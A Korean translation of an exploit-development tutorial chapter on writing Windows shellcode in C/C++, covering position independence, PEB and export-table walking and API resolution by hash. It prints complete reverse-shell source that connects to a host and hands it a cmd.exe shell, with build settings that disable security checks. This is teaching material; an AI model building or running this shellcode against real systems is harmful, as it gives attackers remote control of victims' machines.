티스토리 뷰
본 문서는 원문 저자인 Massimiliano Tomassoli의 허락 하에 번역이 되었으며, 원문과 관련된 모든 저작물에 대한 저작권은 원문 저자인 Massimiliano Tomassoli에 있음을 밝힙니다.
http://expdev-kiuhnm.rhcloud.com
최신 윈도우즈 익스플로잇 개발 06. 쉘 코드
hackability.kr (김태범)
hackability_at_naver.com or ktb88_at_korea.ac.kr
2016.07.19
소개
쉘코드는 코드의 조각으로 취약한 프로그램에 주입되어 익스플로잇에 의해 페이로드로 전달되어 실행됩니다. 쉘코드는 위치에 독립적이어야 합니다. 예를들어 메모리의 어떤 위치에서도 실행 될 수 있어야 하며 null 바이트를 포함하지 않아야 하는데 이는 보통 strcpy에 의해 쉘 코드가 메모리로 복사가 되는데 null 바이트를 만나면 복사가 중단되기 때문입니다. 만약 쉘 코드가 null 바이트를 포함해야 한다면 첫 번째 null 바이트 까지의 쉘코드만 올라가게 되고 쉘코드는 실패하게 될 것 입니다.
쉘코드는 보통 어셈블리로 작성하지만 꼭 그럴 필요는 없습니다. 여기에서는 Visual Studio 2013 을 이용하여 C/C++로 쉘코드를 개발해보도록 하겠습니다. 이를통해 얻을 수 있는 이점은 다음과 같습니다.
1. 개발 시간 단축
2. 고도화 (intellisense)
3. 쉬운 디버깅
VC 2013으로 쉘코드를 포함하는 실행 파일을 만들고 파이썬 스크립트를 이용하여 쉘코드를 추출하여 수정해보도록 하겠습니다. (null 바이트 제거)
C/C++ 코드
스택 변수만 사용
C/C++에서 위치에 독립적인 쉘코드를 작성하기 위해 스택에 할당된 변수들을 이용해야 합니다. 이 뜻은 다음과 같이 작성할 수 없음을 의미합니다.
1 | char *v = new char[100]; | cs |
왜냐하면 위 배열은 힙에 할당되기 때문입니다. 더 중요한 것은, 이는 msvcr120.dll의 함수에서 절대 주소를 이용하여 할당 연산을 시도합니다.
00191000 6A 64 push 64h
00191002 FF 15 90 20 19 00 call dword ptr ds:[192090h]
192090h는 함수의 주소를 가지고 있습니다.
만약 라이브러리에서 제공되는 함수를 호출하고 싶다면 윈도우즈 로더나 import tables와 관계 없이 직접 호출해야 합니다. 다른 문제로는 할당 연산은 C/C++ 언어의 런타임 컴포넌트에서 몇몇 초기화를 필요로 할 수 있습니다. 우리의 쉘코드에서는 이러한 작업을 원치 않습니다.
전역 변수 역시 사용할 수 없습니다.
1 2 3 4 5 | int x; int main() { x = 12; } | cs |
최적화를 하지 않았을 때, 위의 내용은 다음과 같습니다
008E1C7E C7 05 30 91 8E 00 0C 00 00 00 mov dword ptr ds:[8E9130h],0Ch
8E9130h는 변수 x의 절대 주소 입니다.
문자열들도 문제를 야기 합니다. 만약 다음과 같이 작성한다면
1 2 | char str[] = "I'm a string"; printf(str); | cs |
문자열은 실행 파일의 .rdata 섹션에 위치하며 절대 주소로 참조될 것 입니다. 쉘 코드에서는 printf를 사용하면 안됩니다. 아래는 str이 어떻게 참조되고 있는지 보여줍니다.
00A71006 8D 45 F0 lea eax,[str]
00A71009 56 push esi
00A7100A 57 push edi
00A7100B BE 00 21 A7 00 mov esi,0A72100h
00A71010 8D 7D F0 lea edi,[str]
00A71013 50 push eax
00A71014 A5 movs dword ptr es:[edi],dword ptr [esi]
00A71015 A5 movs dword ptr es:[edi],dword ptr [esi]
00A71016 A5 movs dword ptr es:[edi],dword ptr [esi]
00A71017 A4 movs byte ptr es:[edi],byte ptr [esi]
00A71018 FF 15 90 20 A7 00 call dword ptr ds:[0A72090h]
보시다시피, 문자열은 .rdata의 A72100h 주소에 위치해 있으며 movsd와 movsb를 통해 스택에 복사됩니다. (str은 스택을 가리킴) A72100h는 절대 주소기 때문에 위치에 독립적이지 않습니다.
만약 우리가 다음과 같이 코드를 작성한다면
1 2 | char *str = "I'm a string"; printf(str); | cs |
문자열은 .rdata 섹션에 있지만 스택에 복사 되지 않습니다.
00A31000 68 00 21 A3 00 push 0A32100h
00A31005 FF 15 90 20 A3 00 call dword ptr ds:[0A32090h]
.rdata에 있는 문자열의 절대 위치는 A32100h 입니다. 그러면 어떻게 이 코드를 위치에 독립적으로 만들 수 있을까요?
간단한 (부분적인) 방법으로는 약간 복잡합니다.
1 2 | char str[] = { 'I', '\'', 'm', ' ', 'a', ' ', 's', 't', 'r', 'i', 'n', 'g', '\0' }; printf(str); | cs |
어셈 코드는 다음과 같습니다.
012E1006 8D 45 F0 lea eax,[str]
012E1009 C7 45 F0 49 27 6D 20 mov dword ptr [str],206D2749h
012E1010 50 push eax
012E1011 C7 45 F4 61 20 73 74 mov dword ptr [ebp-0Ch],74732061h
012E1018 C7 45 F8 72 69 6E 67 mov dword ptr [ebp-8],676E6972h
012E101F C6 45 FC 00 mov byte ptr [ebp-4],0
012E1023 FF 15 90 20 2E 01 call dword ptr ds:[12E2090h]
printf 함수를 제외하면 이 코드는 위치에 독립적 입니다 왜냐하면 mov 명령의 source operands에 문자열의 위치가 직접 코드 되어 있기 때문입니다. 문자열이 스택에 생성되면 사용될 수 있습니다.
안타깝지만 문자열이 더 길어진다면 이는 더이상 사용될 수 없습니다. 코드를 보면
1 2 | char str[] = { 'I', '\'', 'm', ' ', 'a', ' ', 'v', 'e', 'r', 'y', ' ', 'l', 'o', 'n', 'g', ' ', 's', 't', 'r', 'i', 'n', 'g', '\0' }; printf(str); | cs |
이를 어셈으로 보면
013E1006 66 0F 6F 05 00 21 3E 01 movdqa xmm0,xmmword ptr ds:[13E2100h]
013E100E 8D 45 E8 lea eax,[str]
013E1011 50 push eax
013E1012 F3 0F 7F 45 E8 movdqu xmmword ptr [str],xmm0
013E1017 C7 45 F8 73 74 72 69 mov dword ptr [ebp-8],69727473h
013E101E 66 C7 45 FC 6E 67 mov word ptr [ebp-4],676Eh
013E1024 C6 45 FE 00 mov byte ptr [ebp-2],0
013E1028 FF 15 90 20 3E 01 call dword ptr ds:[13E2090h]
보시다시피, 13E2100h 주소의 .rdata 섹션에 있는 문자열을 보면 mov 명령의 source operand에 다른 문자열들이 인코드 되어 있습니다.
제가 찾은 해결책은 다음과 같습니다.
1 | char *str = “I’m a very long string”; | cs |
그리고 파이썬 스크립트로 쉘코드를 수정합니다. 스크립트는 .rdata 섹션의 문자열들을 추출하여 쉘코드에 넣고 재배치합니다. 어떻게 하는지 곧 보여드리겠습니다.
직접 윈도우즈 API 호출하지 않기
우리는 다음과 같이 작성 할 수 없습니다.
1 | WaitForSingleObject(procInfo.hProcess, INFINITE); | cs |
C/C++에서는 다음과 같이 작성할 수 없는데 그 이유는 WaitForSingleObject는 kernel32.dll 에서 가져와야 하기 때문입니다.
라이브러리에서 함수를 가져오는것은 더욱 복잡합니다. 간단히, PE 파일은 import table과 iport address table (IAT)를 포함하고 있습니다. import table은 어떤 함수가 어떤 라이브러리에서 가져온건지에 대한 정보가 있습니다. IAT는 실행 파일이 로드 됫을 때, 윈도우 로더에 의해 컴파일 되며 imported 함수들의 주소를 갖고 있습니다. 실행 파일의 코드에서 imported 함수들을 간접호출 합니다. 예를들어,
001D100B FF 15 94 20 1D 00 call dword ptr ds:[1D2094h]
주소 1D2094h는 IAT에 있는 entry의 위치이며 이는 MessageBoxA 함수의 주소를 갖고 있습니다. 간접 호출은 매우 유용한데 그 이유는 호출에 대해 따로 수정할 필요가 없기 때문입니다. (실행파일이 재정렬 되지 않는 한에서는) 윈도우즈 로더에서 수정이 필요한 것은 1D2094h (MessageBoxA함수 주소) 입니다.
해결책은 윈도우즈의 인메모리 데이터 구조에서 직접 윈도우즈 함수의 주소를 얻는 것 입니다. 어떻게 할 수 있는지는 뒤에서 다시 살펴보도록 하겠습니다.
VS 2013 CTP 설치
먼저 Visual C++ Compiler November 2013 CTP 다운받고 설치 합니다.
- https://www.microsoft.com/en-us/download/details.aspx?id=41151
새로운 프로젝트 생성
File -> New -> Project ... 로 가서 Installed -> Templates -> Visual C++ -> Win32 -> Win32 Console Application 을 선택하고 project 명을 넣고 OK 를 누릅니다.
Project -> <project name> 의 속성으로 가면 새로운 상자가 나타날 것 입니다. Release와 Debug 에 대해 변경된 설정들을 적용합니다. Configuration Properties 와 General 을 확장하여 Platform Tools 을 All Configuration 으로 수정합니다. 이렇게 하면 static_assert와 같은 C++11, C++14를 이용할 수 있습니다.
쉘 코드 예제
아래 코드는 간단한 리버스 쉘에 대한 예제 입니다. shellcode.cpp 이름으로 파일을 프로젝트에 추가 하고 아래 코드를 복사합니다. 아래 코드를 지금 바로 이해 하려고 하지 말아주세요. 이후에 상세히 설명하도록 하겠습니다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 | // Simple reverse shell shellcode by Massimiliano Tomassoli (2015) // NOTE: Compiled on Visual Studio 2013 + "Visual C++ Compiler November 2013 CTP". #include <WinSock2.h> // must preceed #include <windows.h> #include <WS2tcpip.h> #include <windows.h> #include <winnt.h> #include <winternl.h> #include <stddef.h> #include <stdio.h> #define htons(A) ((((WORD)(A) & 0xff00) >> 8) | (((WORD)(A) & 0x00ff) << 8)) _inline PEB *getPEB() { PEB *p; __asm { mov eax, fs:[30h] mov p, eax } return p; } DWORD getHash(const char *str) { DWORD h = 0; while (*str) { h = (h >> 13) | (h << (32 - 13)); // ROR h, 13 h += *str >= 'a' ? *str - 32 : *str; // convert the character to uppercase str++; } return h; } DWORD getFunctionHash(const char *moduleName, const char *functionName) { return getHash(moduleName) + getHash(functionName); } LDR_DATA_TABLE_ENTRY *getDataTableEntry(const LIST_ENTRY *ptr) { int list_entry_offset = offsetof(LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks); return (LDR_DATA_TABLE_ENTRY *)((BYTE *)ptr - list_entry_offset); } // NOTE: This function doesn't work with forwarders. For instance, kernel32.ExitThread forwards to // ntdll.RtlExitUserThread. The solution is to follow the forwards manually. PVOID getProcAddrByHash(DWORD hash) { PEB *peb = getPEB(); LIST_ENTRY *first = peb->Ldr->InMemoryOrderModuleList.Flink; LIST_ENTRY *ptr = first; do { // for each module LDR_DATA_TABLE_ENTRY *dte = getDataTableEntry(ptr); ptr = ptr->Flink; BYTE *baseAddress = (BYTE *)dte->DllBase; if (!baseAddress) // invalid module(???) continue; IMAGE_DOS_HEADER *dosHeader = (IMAGE_DOS_HEADER *)baseAddress; IMAGE_NT_HEADERS *ntHeaders = (IMAGE_NT_HEADERS *)(baseAddress + dosHeader->e_lfanew); DWORD iedRVA = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress; if (!iedRVA) // Export Directory not present continue; IMAGE_EXPORT_DIRECTORY *ied = (IMAGE_EXPORT_DIRECTORY *)(baseAddress + iedRVA); char *moduleName = (char *)(baseAddress + ied->Name); DWORD moduleHash = getHash(moduleName); // The arrays pointed to by AddressOfNames and AddressOfNameOrdinals run in parallel, i.e. the i-th // element of both arrays refer to the same function. The first array specifies the name whereas // the second the ordinal. This ordinal can then be used as an index in the array pointed to by // AddressOfFunctions to find the entry point of the function. DWORD *nameRVAs = (DWORD *)(baseAddress + ied->AddressOfNames); for (DWORD i = 0; i < ied->NumberOfNames; ++i) { char *functionName = (char *)(baseAddress + nameRVAs[i]); if (hash == moduleHash + getHash(functionName)) { WORD ordinal = ((WORD *)(baseAddress + ied->AddressOfNameOrdinals))[i]; DWORD functionRVA = ((DWORD *)(baseAddress + ied->AddressOfFunctions))[ordinal]; return baseAddress + functionRVA; } } } while (ptr != first); return NULL; // address not found } #define HASH_LoadLibraryA 0xf8b7108d #define HASH_WSAStartup 0x2ddcd540 #define HASH_WSACleanup 0x0b9d13bc #define HASH_WSASocketA 0x9fd4f16f #define HASH_WSAConnect 0xa50da182 #define HASH_CreateProcessA 0x231cbe70 #define HASH_inet_ntoa 0x1b73fed1 #define HASH_inet_addr 0x011bfae2 #define HASH_getaddrinfo 0xdc2953c9 #define HASH_getnameinfo 0x5c1c856e #define HASH_ExitThread 0x4b3153e0 #define HASH_WaitForSingleObject 0xca8e9498 #define DefineFuncPtr(name) decltype(name) *My_##name = (decltype(name) *)getProcAddrByHash(HASH_##name) int entryPoint() { // printf("0x%08x\n", getFunctionHash("kernel32.dll", "WaitForSingleObject")); // return 0; // NOTE: we should call WSACleanup() and freeaddrinfo() (after getaddrinfo()), but // they're not strictly needed. DefineFuncPtr(LoadLibraryA); My_LoadLibraryA("ws2_32.dll"); DefineFuncPtr(WSAStartup); DefineFuncPtr(WSASocketA); DefineFuncPtr(WSAConnect); DefineFuncPtr(CreateProcessA); DefineFuncPtr(inet_ntoa); DefineFuncPtr(inet_addr); DefineFuncPtr(getaddrinfo); DefineFuncPtr(getnameinfo); DefineFuncPtr(ExitThread); DefineFuncPtr(WaitForSingleObject); const char *hostName = "127.0.0.1"; const int hostPort = 123; WSADATA wsaData; if (My_WSAStartup(MAKEWORD(2, 2), &wsaData)) goto __end; // error SOCKET sock = My_WSASocketA(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0); if (sock == INVALID_SOCKET) goto __end; addrinfo *result; if (My_getaddrinfo(hostName, NULL, NULL, &result)) goto __end; char ip_addr[16]; My_getnameinfo(result->ai_addr, result->ai_addrlen, ip_addr, sizeof(ip_addr), NULL, 0, NI_NUMERICHOST); SOCKADDR_IN remoteAddr; remoteAddr.sin_family = AF_INET; remoteAddr.sin_port = htons(hostPort); remoteAddr.sin_addr.s_addr = My_inet_addr(ip_addr); if (My_WSAConnect(sock, (SOCKADDR *)&remoteAddr, sizeof(remoteAddr), NULL, NULL, NULL, NULL)) goto __end; STARTUPINFOA sInfo; PROCESS_INFORMATION procInfo; SecureZeroMemory(&sInfo, sizeof(sInfo)); // avoids a call to _memset sInfo.cb = sizeof(sInfo); sInfo.dwFlags = STARTF_USESTDHANDLES; sInfo.hStdInput = sInfo.hStdOutput = sInfo.hStdError = (HANDLE)sock; My_CreateProcessA(NULL, "cmd.exe", NULL, NULL, TRUE, 0, NULL, NULL, &sInfo, &procInfo); // Waits for the process to finish. My_WaitForSingleObject(procInfo.hProcess, INFINITE); __end: My_ExitThread(0); return 0; } int main() { return entryPoint(); } | cs |
컴파일러 설정
Project -> <project name> properties로 간 뒤, Configuration Properties를 확장하고 C/C++로 갑니다. 변경 사항은 릴리즈 설정에 적용합니다. 아래는 우리가 변경해야 할 설정들 입니다.
- General
- SDL Checks: No (/sdl-)
- Optimization
- Optimization: Minimize Size (/O1)
- Inline Function Expansion: Only __inline (/Ob1)
- Enable Intrinsic Function: Yes (/Oi)
- Favor Size Or Speed: Favor small code (/Os)
- Whole Program Optimization: Yes (/GL)
- Code Generation
- Security Check: Disable Security Check (/GS-)
- Enable Function-Level linking: Yes (/Gy)
링커 설정
Project -> <project name> properties로 간 뒤, Configuration Properties를 확장하고 Linker로 갑니다. 변경 사항은 릴리즈 설정에 적용합니다. 아래는 우리가 변경해야 할 설정들 입니다.
- General
- Enable INcremental Linking: No (/INCREMENTAL:NO)
- Debugging
- Generate Map File: Yes (/MAP)
- Map File Name: mapfile
- Optimization
- References: Yes (/OPT:REF)
- Enable COMDAT Folding: Yes (/OPT:ICF)
- Function Order: function_order.txt
이 함수는 모듈과 함수들이 연관된 해쉬가 주어졌을 때, 현재 메모리에 있는 모듈 (.exe 또는 .dll)에 의해 노출된 함수들의 주소를 반환합니다. 이는 분명히 함수의 이름을 찾을 수 있지만 이는 상당량의 공간을 소비하게 되는데 그 이유는 쉘 코드에 이 이름들이 포함되어야 하기 때문입니다. 반면에 해쉬는 4바이트 밖에 하지 않습니다. 우리는 2개의 해쉬들 (하나는 모듈, 다른 하나는 함수)을 사용하지 않기 때문에 getProcAddrByHash는 메모리에 로드된 모든 모듈들에 대해 고려해야 합니다.
MessageBoxA의 해쉬는 user32.dll에서 제공되며 다음과 같이 연산됩니다.
1 | DWORD hash = getFunctionHash("user32.dll", "MessageBoxA"); | cs |
해쉬는 getHash("user32.dll")과 getHash("MessageBoxA")의 합 입니다. getHash의 구현은 간단합니다.
1 2 3 4 5 6 7 8 9 | DWORD getHash(const char *str) { DWORD h = 0; while (*str) { h = (h >> 13) | (h << (32 - 13)); // ROR h, 13 h += *str >= 'a' ? *str - 32 : *str; // convert the character to uppercase str++; } return h; } | cs |
보시다시피 해쉬는 대소문자를 가리지 않습니다. 몇몇 윈도우즈 버전에서는 메모리에 있는 모든 이름들이 모두 대문자 이기 때문입니다.
첫 번째로, getProcAddrByHash는 TEB (Thread Environment Block)의 주소를 가져옵니다.
1 | PEB *peb = getPEB() | cs |
getPEB는 다음과 같습니다.
1 2 3 4 5 6 7 8 | _inline PEB *getPEB() { PEB *p; __asm { mov eax, fs:[30h] mov p, eax } return p; } | cs |
선택자 fs는 TEB 주소에서 시작하는 세그먼트와 연관되어 있습니다. TEB의 오프셋 30h는 PEB (Process Environment Block)를 가리키고 있는 포인터를 갖고 있습니다. WinDbg에서 이를 확인할 수 있습니다.
0:000> dt _TEB @$teb
ntdll!_TEB
+0x000 NtTib : _NT_TIB
+0x01c EnvironmentPointer : (null)
+0x020 ClientId : _CLIENT_ID
+0x028 ActiveRpcHandle : (null)
+0x02c ThreadLocalStoragePointer : 0x7efdd02c Void
+0x030 ProcessEnvironmentBlock : 0x7efde000 _PEB
+0x034 LastErrorValue : 0
+0x038 CountOfOwnedCriticalSections : 0
+0x03c CsrClientThread : (null)
<snip>
PEB의 이름에서도 보시다시피 이는 현재 프로세스와 연관되어 있으며 프로세스 주소 공간에 로드된 모듈들에 대한 정보나 다른 것들도 가지고 있습니다.
getProcAddrByHash를 다시 살펴 보면 다음과 같습니다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 | PVOID getProcAddrByHash(DWORD hash) { PEB *peb = getPEB(); LIST_ENTRY *first = peb->Ldr->InMemoryOrderModuleList.Flink; LIST_ENTRY *ptr = first; do { // for each module LDR_DATA_TABLE_ENTRY *dte = getDataTableEntry(ptr); ptr = ptr->Flink; . . . } while (ptr != first); return NULL; // address not found } | cs |
PEB를 확인해보면 다음과 같습니다.
0:000> dt _PEB @$peb
ntdll!_PEB
+0x000 InheritedAddressSpace : 0 ''
+0x001 ReadImageFileExecOptions : 0 ''
+0x002 BeingDebugged : 0x1 ''
+0x003 BitField : 0x8 ''
+0x003 ImageUsesLargePages : 0y0
+0x003 IsProtectedProcess : 0y0
+0x003 IsLegacyProcess : 0y0
+0x003 IsImageDynamicallyRelocated : 0y1
+0x003 SkipPatchingUser32Forwarders : 0y0
+0x003 SpareBits : 0y000
+0x004 Mutant : 0xffffffff Void
+0x008 ImageBaseAddress : 0x00060000 Void
+0x00c Ldr : 0x76fd0200 _PEB_LDR_DATA
+0x010 ProcessParameters : 0x00681718 _RTL_USER_PROCESS_PARAMETERS
+0x014 SubSystemData : (null)
+0x018 ProcessHeap : 0x00680000 Void
<snip>
0Ch위치에 Ldr이라 불리는 필드가 존재하는데 이는 PEB_LDR_DATA 데이터 구조를 가리키고 있습니다. WinDbg에서 살펴보면 다음과 같습니다.
0:000> dt _PEB_LDR_DATA 0x76fd0200
ntdll!_PEB_LDR_DATA
+0x000 Length : 0x30
+0x004 Initialized : 0x1 ''
+0x008 SsHandle : (null)
+0x00c InLoadOrderModuleList : _LIST_ENTRY [ 0x683080 - 0x6862c0 ]
+0x014 InMemoryOrderModuleList : _LIST_ENTRY [ 0x683088 - 0x6862c8 ]
+0x01c InInitializationOrderModuleList : _LIST_ENTRY [ 0x683120 - 0x6862d0 ]
+0x024 EntryInProgress : (null)
+0x028 ShutdownInProgress : 0 ''
+0x02c ShutdownThreadId : (null)
InMemoryOrderModuleList는 현재 프로세스 주소 공간에 로드된 모듈과 연관된 LDR_DATA_TABLE_ENTRY 구조의 이중-링크드 리스트입니다. 더 명확하게 하자면 InMemoryOrderModuleList는 LIST_ENTRY이며 이는 2개의 필드를 포함합니다.
0:000> dt _LIST_ENTRY
ntdll!_LIST_ENTRY
+0x000 Flink : Ptr32 _LIST_ENTRY
+0x004 Blink : Ptr32 _LIST_ENTRY
Flink는 forward link를 뜻하며 Blink는 backward link를 뜻합니다. Flink 는 첫 번째 모듈의 LDR_DATA_TABLE_ENTRY 를 가리킵니다. 정확하진 않지만 Flink는 LDR_DATA_TABLE_ENTRY 구조의 LIST_ENTRY 구조를 가리킵니다.
LDR_DATA_TABLE-ENTRY는 다음과 같이 정의되어 있습니다.
0:000> dt _LDR_DATA_TABLE_ENTRY
ntdll!_LDR_DATA_TABLE_ENTRY
+0x000 InLoadOrderLinks : _LIST_ENTRY
+0x008 InMemoryOrderLinks : _LIST_ENTRY
+0x010 InInitializationOrderLinks : _LIST_ENTRY
+0x018 DllBase : Ptr32 Void
+0x01c EntryPoint : Ptr32 Void
+0x020 SizeOfImage : Uint4B
+0x024 FullDllName : _UNICODE_STRING
+0x02c BaseDllName : _UNICODE_STRING
+0x034 Flags : Uint4B
+0x038 LoadCount : Uint2B
+0x03a TlsIndex : Uint2B
+0x03c HashLinks : _LIST_ENTRY
+0x03c SectionPointer : Ptr32 Void
+0x040 CheckSum : Uint4B
+0x044 TimeDateStamp : Uint4B
+0x044 LoadedImports : Ptr32 Void
+0x048 EntryPointActivationContext : Ptr32 _ACTIVATION_CONTEXT
+0x04c PatchInformation : Ptr32 Void
+0x050 ForwarderLinks : _LIST_ENTRY
+0x058 ServiceTagLinks : _LIST_ENTRY
+0x060 StaticLinks : _LIST_ENTRY
+0x068 ContextInformation : Ptr32 Void
+0x06c OriginalBase : Uint4B
+0x070 LoadTime : _LARGE_INTEGER
InMemoryOrderModuleList.Flink는 _LDR_DATA_TABLE_ENTRY.InMemoryOrderLinks를 가리키는데 이는 오프셋 8에 위치해 있습니다. 따라서 우리는 _LDR_DATA_TABLE_ENTRY의 주소에서 8을 빼 주어야 합니다.
Flink의 포인터를 얻어 보도록 하죠.
+0x00c InLoadOrderModuleList : _LIST_ENTRY [ 0x683080 - 0x6862c0 ]
이 값은 0x683080이기 때문에 _LDR_DATA_TABLE_ENTRY 구조는 0x683080 - 8 = 0x683078 에 위치해 있습니다.
0:000> dt _LDR_DATA_TABLE_ENTRY 683078
ntdll!_LDR_DATA_TABLE_ENTRY
+0x000 InLoadOrderLinks : _LIST_ENTRY [ 0x359469e5 - 0x1800eeb1 ]
+0x008 InMemoryOrderLinks : _LIST_ENTRY [ 0x683110 - 0x76fd020c ]
+0x010 InInitializationOrderLinks : _LIST_ENTRY [ 0x683118 - 0x76fd0214 ]
+0x018 DllBase : (null)
+0x01c EntryPoint : (null)
+0x020 SizeOfImage : 0x60000
+0x024 FullDllName : _UNICODE_STRING "蒮m쿟ᄍ엘ᆲ膪n???"
+0x02c BaseDllName : _UNICODE_STRING "C:\Windows\SysWOW64\calc.exe"
+0x034 Flags : 0x120010
+0x038 LoadCount : 0x2034
+0x03a TlsIndex : 0x68
+0x03c HashLinks : _LIST_ENTRY [ 0x4000 - 0xffff ]
+0x03c SectionPointer : 0x00004000 Void
+0x040 CheckSum : 0xffff
+0x044 TimeDateStamp : 0x6841b4
+0x044 LoadedImports : 0x006841b4 Void
+0x048 EntryPointActivationContext : 0x76fd4908 _ACTIVATION_CONTEXT
+0x04c PatchInformation : 0x4ce7979d Void
+0x050 ForwarderLinks : _LIST_ENTRY [ 0x0 - 0x0 ]
+0x058 ServiceTagLinks : _LIST_ENTRY [ 0x6830d0 - 0x6830d0 ]
+0x060 StaticLinks : _LIST_ENTRY [ 0x6830d8 - 0x6830d8 ]
+0x068 ContextInformation : 0x00686418 Void
+0x06c OriginalBase : 0x6851a8
+0x070 LoadTime : _LARGE_INTEGER 0x76f0c9d0
보시다시피, WinDbg에서 calc.exe를 디버깅 하고 있습니다. 첫 번째 모듈은 실행 파일 자체를 뜻합니다. 중요한 필드는 DLLBase (c) 입니다. 모듈의 기본(base) 주소가 주어졌을 때, 메모리에 로드된 PE 파일을 분석할 수 있고 외부에 노출된 함수들의 주소와 같은 정보를 얻을 수 있습니다.
이는 정확히 우리가 getProcAddrByHash에서 하는것과 같습니다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 | . . . BYTE *baseAddress = (BYTE *)dte->DllBase; if (!baseAddress) // invalid module(???) continue; IMAGE_DOS_HEADER *dosHeader = (IMAGE_DOS_HEADER *)baseAddress; IMAGE_NT_HEADERS *ntHeaders = (IMAGE_NT_HEADERS *)(baseAddress + dosHeader->e_lfanew); DWORD iedRVA = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress; if (!iedRVA) // Export Directory not present continue; IMAGE_EXPORT_DIRECTORY *ied = (IMAGE_EXPORT_DIRECTORY *)(baseAddress + iedRVA); char *moduleName = (char *)(baseAddress + ied->Name); DWORD moduleHash = getHash(moduleName); // The arrays pointed to by AddressOfNames and AddressOfNameOrdinals run in parallel, i.e. the i-th // element of both arrays refer to the same function. The first array specifies the name whereas // the second the ordinal. This ordinal can then be used as an index in the array pointed to by // AddressOfFunctions to find the entry point of the function. DWORD *nameRVAs = (DWORD *)(baseAddress + ied->AddressOfNames); for (DWORD i = 0; i < ied->NumberOfNames; ++i) { char *functionName = (char *)(baseAddress + nameRVAs[i]); if (hash == moduleHash + getHash(functionName)) { WORD ordinal = ((WORD *)(baseAddress + ied->AddressOfNameOrdinals))[i]; DWORD functionRVA = ((DWORD *)(baseAddress + ied->AddressOfFunctions))[ordinal]; return baseAddress + functionRVA; } } . . . | cs |
이 코드를 이해 하기 위해서는 PE 파일 구조를 알 필요가 있습니다. 저는 여기서 너무 자세히 들어가진 않겠습니다. 당신이 알아야 하는 한 가지 중요한 것은 PE 파일의 구조에 있는 주소들은 RVA (Relative Virtual Address) 라는 것 입니다. (전부는 아니지만) 예를들어 만약 RVA가 100h 이고 DllBase가 400000h라 하면 RVA는 400000h + 100h = 400100h 주소의 데이터를 가리킵니다.
모듈은 DOS_HEADER라 불리는 곳에서 시작하는데 이는 FILE_HEADER와 OPTIONAL_HEADER인 NT_HEADERS를 가리키는 RVA (e_lfanew)를 갖고 있습니다. OPTIONAL_HEADER 는 DataDirectory라 불리는 배열을 갖고 있는데 이는 PE 모듈의 다양한 "디렉토리"를 가리키고 있습니다. 우리는 여기서 Export Directory에 집중합니다.
Export Directory 와 연관된 C 구조의 정의는 다음과 같습니다.
1 2 3 4 5 6 7 8 9 10 11 12 13 | typedef struct _IMAGE_EXPORT_DIRECTORY { DWORD Characteristics; DWORD TimeDateStamp; WORD MajorVersion; WORD MinorVersion; DWORD Name; DWORD Base; DWORD NumberOfFunctions; DWORD NumberOfNames; DWORD AddressOfFunctions; // RVA from base of image DWORD AddressOfNames; // RVA from base of image DWORD AddressOfNameOrdinals; // RVA from base of image } IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY; | cs |
Name 필드는 모듈의 이름을 갖고 있는 문자열의 RVA 입니다. 그리고 5개의 중요한 필드들이 더 있습니다.
NumberOfFunctions: AddressOfFunctions 의 요소 수
NumberOfNames: AddressOfNames의 요소 수
AddressOfFunctions: exported 함수들의 entrypoints를 가리키는 RVAs (DWORDs)의 배열을 가리키는 RVA
AddressOfNames: exported 함수들의 이름을 가리키는 RVAs (DWORDs)의 배열을 가리키는 RVA
AddressOfNameOrdinals: exported 함수들의 연관된 ordinals (WORDs) 배열을 가리키는 RVA
C/C++ 코드에서는 배열들은 AddressOfNames에 의해 가리켜지며 AddressOfNameOrdinals는 병렬로 동작한다고 되어 있습니다.
처음 두 배열은 병렬로 동작하는 반면 세 번째는 그렇지 않고 ordinals는 AddressOfFunctions 배열의 인덱스인 AddressOfNameOrdinals 로 부터 가져옵니다.
그래서 첫번째로는 AddressOfNames에서 정확한 이름을 찾고 AddressOfNameOrdinals에서 적절한 ordinal(서수)을 구한다음 마지막으로 ordinal을 AddressOfFuncions의 인덱스로 이용하여 적합한 exported 함수의 RVA 를 구합니다.
DefineFuncPtr
DefineFuncPtr은 간단한 매크로로써 imported 함수를 가리키는 포인터를 정의하는데 도움을 줍니다. 예제는 다음과 같습니다.
1 2 3 4 5 | #define HASH_WSAStartup 0x2ddcd540 #define DefineFuncPtr(name) decltype(name) *My_##name = (decltype(name) *)getProcAddrByHash(HASH_##name) DefineFuncPtr(WSAStartup); | cs |
WSAStartup 은 ws2_32.dll에서 제공되는 함수로 HASH_WSAStartup는 다음과 같이 연산됩니다.
1 | DWORD hash = getFunctionHash(“ws2_32.dll”, “WSAtartup”); | cs |
매크로를 확장하면
1 | DefineFuncPtr(WSAStartup); | cs |
이는 다음과 같이 됩니다.
1 | decltype(WSAStartup) *My_WSAStartup = (decltype(WSAStartup) *)getProcAddrByHash(HASH_WSAStartup) | cs |
여기서 decltype(WSAStartup)은 WSAStartup 함수의 종류입니다. 이 방법은 함수 프로토타입을 재정의 할 필요가 없습니다. decltype은 C++ 11 에서 소개되었습니다.
이제 우리는 My_WSAStartup을 이용하여 WSAStartup을 호출할 수 있고 intellisense는 잘 동작할 것 입니다.
